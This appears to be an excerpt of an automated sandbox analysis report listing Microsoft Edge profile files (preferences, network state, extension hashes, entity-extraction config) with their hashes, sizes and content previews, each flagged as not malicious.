SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	311
Entropy (8bit):	5.172522734795713
Encrypted:	false
SSDEEP:	6:iOwd44V0q1923oH+Tcwtk2WwnvB2KLlud4AU4Oq2P923oH+Tcwtk2WwnvIFUv:7wdj0fYebkxwnvFL8dwpv4YebkxwnQF2
MD5:	638A7FB9E5B27F543171EFBC7772373D
SHA1:	37E000B4A52AABA543D37AC12A5A7A3E4B004EE4
SHA-256:	8E74A4D4202F822D2A8FB02222EC03571C910943108FB542E37CFFFDD9AEB51C
SHA-512:	94E916BDF148C74875565AE5FADCD816060DAEC59E2193AC5536EB8114F3A161E42E1869AAB11982E753B6272066093AB497E27FDBCA788BDB5E04A52AB4B9C3
Malicious:	false
Preview:	2025/01/13-14:18:30.169 2340 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2025/01/13-14:18:30.251 2340 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.324614984271253
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6Ri:C1gAg1zfvK
MD5:	865A43A01FD7F3B2B5E477F471896A99
SHA1:	B31E0D4EE0A6D98242493D4EF3635C1416C74DD8
SHA-256:	07324934FCEC23E2917468D0344F442EE6250E5D27DB9E3F0397A870CA431C51
SHA-512:	1E2CA8B6DDBC47E99E25343AEF108517E0D76BEA8E3B213DE08D546B452EB341FC555306281C85A8B7415E712CD93A2D2A561832817F5F7882D9EACF7B1ECFBB
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\5267834f-44ef-44bd-ae89-fb3b4bef511a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\71ace382-614f-43aa-9572-8bdbfa61f09b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\75c3855d-8062-4641-99c3-5375c7369562.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\8f107e6d-76c6-4a13-b58c-fe7c3ae5b658.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1664
Entropy (8bit):	5.32409913273591
Encrypted:	false
SSDEEP:	48:YcgCzsCuRsjfcKsK/leeBkEsxCgHF5bxo+:Fxu8//keBklTHVo+
MD5:	2C95ECEDBFA36F64468B0F1911BD8BD8
SHA1:	C6D353EEAA5D8FB452000EB415AEFB43CEB01C32
SHA-256:	1484087FE1597DAC5D68147ADFB9C73C4E8E6C6978EA22125560AE063874D1A3
SHA-512:	7112C6C0ADCCC9086A1676E0A49120B8EC901A44B56542EA5F113F26FF156D544E431FB6B2565E36812987FA9C0CA1EB645DD6BA92C98CD81CF8C9B3FDB4F3AF
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13383861507948798","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL2F6dXJlZWRnZS5uZXQAAAA=",false],"server":"https://edgeassetservice.azureedge.net","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13383861526995534","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381363128799518","port":443,"protocol_str":"quic"}],"anonymization":["HAAAABUAAABodHRwc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336394944460292
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7nbI+:YXs/tsbfc7leeEscgCgakhYhbxo+
MD5:	BF6BA1797785A5763A0088569A24FE85
SHA1:	62B9D7386B7BDD97B816063ED0D9CC0D912EB130
SHA-256:	40C6B39ED9B1E473CBD7027290D7996D15139F0B5BDC4BA6769E8FE8467BBA4E
SHA-512:	FE46026F5F2C16522DBA26D256C0831DA94254C432E5C2CC77F864E6D7E0F1D9C66A50726AF91B06D54EC124C21D1C73744CB2D9CC016BD9FE7200823698D729
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF493a1.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336394944460292
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7nbI+:YXs/tsbfc7leeEscgCgakhYhbxo+
MD5:	BF6BA1797785A5763A0088569A24FE85
SHA1:	62B9D7386B7BDD97B816063ED0D9CC0D912EB130
SHA-256:	40C6B39ED9B1E473CBD7027290D7996D15139F0B5BDC4BA6769E8FE8467BBA4E
SHA-512:	FE46026F5F2C16522DBA26D256C0831DA94254C432E5C2CC77F864E6D7E0F1D9C66A50726AF91B06D54EC124C21D1C73744CB2D9CC016BD9FE7200823698D729
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF5868d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336394944460292
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7nbI+:YXs/tsbfc7leeEscgCgakhYhbxo+
MD5:	BF6BA1797785A5763A0088569A24FE85
SHA1:	62B9D7386B7BDD97B816063ED0D9CC0D912EB130
SHA-256:	40C6B39ED9B1E473CBD7027290D7996D15139F0B5BDC4BA6769E8FE8467BBA4E
SHA-512:	FE46026F5F2C16522DBA26D256C0831DA94254C432E5C2CC77F864E6D7E0F1D9C66A50726AF91B06D54EC124C21D1C73744CB2D9CC016BD9FE7200823698D729
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF6d8de.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336394944460292
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7nbI+:YXs/tsbfc7leeEscgCgakhYhbxo+
MD5:	BF6BA1797785A5763A0088569A24FE85
SHA1:	62B9D7386B7BDD97B816063ED0D9CC0D912EB130
SHA-256:	40C6B39ED9B1E473CBD7027290D7996D15139F0B5BDC4BA6769E8FE8467BBA4E
SHA-512:	FE46026F5F2C16522DBA26D256C0831DA94254C432E5C2CC77F864E6D7E0F1D9C66A50726AF91B06D54EC124C21D1C73744CB2D9CC016BD9FE7200823698D729
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3883c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3d1a9.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\c4c185cb-2db0-4636-a986-7ecd453a2322.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336394944460292
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7nbI+:YXs/tsbfc7leeEscgCgakhYhbxo+
MD5:	BF6BA1797785A5763A0088569A24FE85
SHA1:	62B9D7386B7BDD97B816063ED0D9CC0D912EB130
SHA-256:	40C6B39ED9B1E473CBD7027290D7996D15139F0B5BDC4BA6769E8FE8467BBA4E
SHA-512:	FE46026F5F2C16522DBA26D256C0831DA94254C432E5C2CC77F864E6D7E0F1D9C66A50726AF91B06D54EC124C21D1C73744CB2D9CC016BD9FE7200823698D729
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\db2dad8d-dba6-4c2c-82b3-8373747b64e7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13845
Entropy (8bit):	5.233632967998143
Encrypted:	false
SSDEEP:	192:st8J99QTryDigabatSuypbsuJsZihUk43oYw5aP82bV+FSg4Qwt66WaaFIMYOPc8:st8PGKSu4bsuJfhwPbGf4QwE6WaaTYa
MD5:	1566D3F6269CF2B7B50E3511803F0FC6
SHA1:	89580BD920B6E7523DDEAFDE0C63D534A68A95DD
SHA-256:	3C8AA069D69F509B1B2DA4E8C7A2D0F696CDF21C8C523061B29E5D0C7E087B87
SHA-512:	6AAF5E2BC458523AAE1B311E5610CDE07BFE820F013779EEADA17BF273B3CACC871957D8FC234AFA02D86D458D0BAD773CC490C6AE2C6E30AF0431872B207B91
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13381269506320295","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3c4d8.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13845
Entropy (8bit):	5.233632967998143
Encrypted:	false
SSDEEP:	192:st8J99QTryDigabatSuypbsuJsZihUk43oYw5aP82bV+FSg4Qwt66WaaFIMYOPc8:st8PGKSu4bsuJfhwPbGf4QwE6WaaTYa
MD5:	1566D3F6269CF2B7B50E3511803F0FC6
SHA1:	89580BD920B6E7523DDEAFDE0C63D534A68A95DD
SHA-256:	3C8AA069D69F509B1B2DA4E8C7A2D0F696CDF21C8C523061B29E5D0C7E087B87
SHA-512:	6AAF5E2BC458523AAE1B311E5610CDE07BFE820F013779EEADA17BF273B3CACC871957D8FC234AFA02D86D458D0BAD773CC490C6AE2C6E30AF0431872B207B91
Malicious:	false
